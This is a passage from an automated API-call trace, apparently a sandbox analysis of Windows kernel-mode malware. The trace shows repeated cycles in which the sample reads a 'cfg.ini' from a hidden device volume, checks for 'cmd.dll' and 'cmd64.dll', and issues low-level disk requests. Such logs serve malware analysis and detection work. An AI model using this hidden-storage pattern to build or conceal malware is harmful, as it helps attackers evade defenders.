FastMutex=0xfffffa80027d3898) [0127.598] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.598] KeLeaveCriticalRegion () [0127.598] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.598] KeEnterCriticalRegion () [0127.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.598] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.598] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.598] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.598] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.598] IdePortDispatch () returned 0x103 [0127.598] KeWaitForMutexObject () returned 0x0 [0127.598] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.598] KeLeaveCriticalRegion () [0127.598] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.598] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.598] KeEnterCriticalRegion () [0127.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.598] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b6e000 [0127.598] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.598] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.598] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.598] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.598] IdePortDispatch () returned 0x103 [0127.599] KeWaitForMutexObject () returned 0x0 [0127.599] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.599] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.599] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.599] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.599] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.599] IdePortDispatch () returned 0x103 [0127.599] KeWaitForMutexObject () returned 0x0 [0127.599] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.599] KeLeaveCriticalRegion () [0127.599] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.600] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.600] KeEnterCriticalRegion () [0127.600] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.600] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.600] KeLeaveCriticalRegion () [0127.600] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.600] KeEnterCriticalRegion () [0127.600] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.600] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.600] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfb8d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.600] KeLeaveCriticalRegion () [0127.600] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.600] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.600] KeEnterCriticalRegion () [0127.600] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.600] ExFreePoolWithTag (P=0xfffffa8003bfb210, Tag=0x0) [0127.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.600] KeLeaveCriticalRegion () [0127.600] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.600] ReleaseMutex (hMutex=0xf0) returned 1 [0127.600] Sleep (dwMilliseconds=0x124f80) [0127.616] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.616] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.616] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.616] KeEnterCriticalRegion () [0127.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.616] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.616] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.616] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.616] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.616] IdePortDispatch () returned 0x103 [0127.616] KeWaitForMutexObject () returned 0x0 [0127.616] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.616] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.616] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.616] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.616] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.617] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfb260 [0127.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.617] KeLeaveCriticalRegion () [0127.617] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.617] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.617] KeEnterCriticalRegion () [0127.617] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.617] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.617] KeLeaveCriticalRegion () [0127.617] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.617] KeEnterCriticalRegion () [0127.617] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.617] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.617] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.617] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.617] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.617] IdePortDispatch () returned 0x103 [0127.617] KeWaitForMutexObject () returned 0x0 [0127.617] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.617] KeLeaveCriticalRegion () [0127.617] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.617] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.617] KeEnterCriticalRegion () [0127.617] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.617] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b72000 [0127.617] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.617] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.617] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.617] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.617] IdePortDispatch () returned 0x103 [0127.617] KeWaitForMutexObject () returned 0x0 [0127.618] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.618] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.618] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.618] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.618] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.618] IdePortDispatch () returned 0x103 [0127.618] KeWaitForMutexObject () returned 0x0 [0127.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.618] KeLeaveCriticalRegion () [0127.618] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.618] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.618] KeEnterCriticalRegion () [0127.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.619] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.619] KeLeaveCriticalRegion () [0127.619] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.619] KeEnterCriticalRegion () [0127.619] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.619] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.619] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.619] KeLeaveCriticalRegion () [0127.619] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.619] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.619] KeEnterCriticalRegion () [0127.619] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.619] ExFreePoolWithTag (P=0xfffffa8003bfb260, Tag=0x0) [0127.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.619] KeLeaveCriticalRegion () [0127.619] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.619] ReleaseMutex (hMutex=0xf0) returned 1 [0127.619] Sleep (dwMilliseconds=0x124f80) [0127.633] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.633] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.633] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.633] KeEnterCriticalRegion () [0127.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.633] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.633] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.633] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.633] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.633] IdePortDispatch () returned 0x103 [0127.633] KeWaitForMutexObject () returned 0x0 [0127.633] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.633] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.633] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.633] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.633] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.633] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e17f0 [0127.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.633] KeLeaveCriticalRegion () [0127.633] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.633] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.634] KeEnterCriticalRegion () [0127.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.634] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.634] KeLeaveCriticalRegion () [0127.634] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.634] KeEnterCriticalRegion () [0127.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.634] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.634] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.634] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.634] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.634] IdePortDispatch () returned 0x103 [0127.634] KeWaitForMutexObject () returned 0x0 [0127.634] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.634] KeLeaveCriticalRegion () [0127.634] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.634] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.634] KeEnterCriticalRegion () [0127.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.634] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b77000 [0127.634] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.634] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.634] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.634] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.634] IdePortDispatch () returned 0x103 [0127.634] KeWaitForMutexObject () returned 0x0 [0127.635] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.635] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.635] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.635] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.635] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.635] IdePortDispatch () returned 0x103 [0127.635] KeWaitForMutexObject () returned 0x0 [0127.635] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.635] KeLeaveCriticalRegion () [0127.635] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.635] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.635] KeEnterCriticalRegion () [0127.635] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.635] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.635] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.635] KeLeaveCriticalRegion () [0127.636] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.636] KeEnterCriticalRegion () [0127.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.636] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.636] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfb480, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.636] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.636] KeLeaveCriticalRegion () [0127.636] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.636] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.636] KeEnterCriticalRegion () [0127.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.636] ExFreePoolWithTag (P=0xfffffa80037e17f0, Tag=0x0) [0127.636] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.636] KeLeaveCriticalRegion () [0127.636] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.636] ReleaseMutex (hMutex=0xf0) returned 1 [0127.636] Sleep (dwMilliseconds=0x124f80) [0127.650] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.650] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.650] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.650] KeEnterCriticalRegion () [0127.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.650] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.650] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.650] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.650] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.650] IdePortDispatch () returned 0x103 [0127.650] KeWaitForMutexObject () returned 0x0 [0127.651] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.651] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.651] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.651] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.652] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.652] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfb3c0 [0127.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.652] KeLeaveCriticalRegion () [0127.652] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.652] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.652] KeEnterCriticalRegion () [0127.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.652] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.652] KeLeaveCriticalRegion () [0127.652] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.652] KeEnterCriticalRegion () [0127.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.652] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.652] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.652] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.652] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.652] IdePortDispatch () returned 0x103 [0127.652] KeWaitForMutexObject () returned 0x0 [0127.652] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.652] KeLeaveCriticalRegion () [0127.652] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.652] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.652] KeEnterCriticalRegion () [0127.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.652] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b7c000 [0127.652] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.652] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.652] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.652] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.652] IdePortDispatch () returned 0x103 [0127.653] KeWaitForMutexObject () returned 0x0 [0127.653] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.653] IoAllocateIrp (StackSize=1, 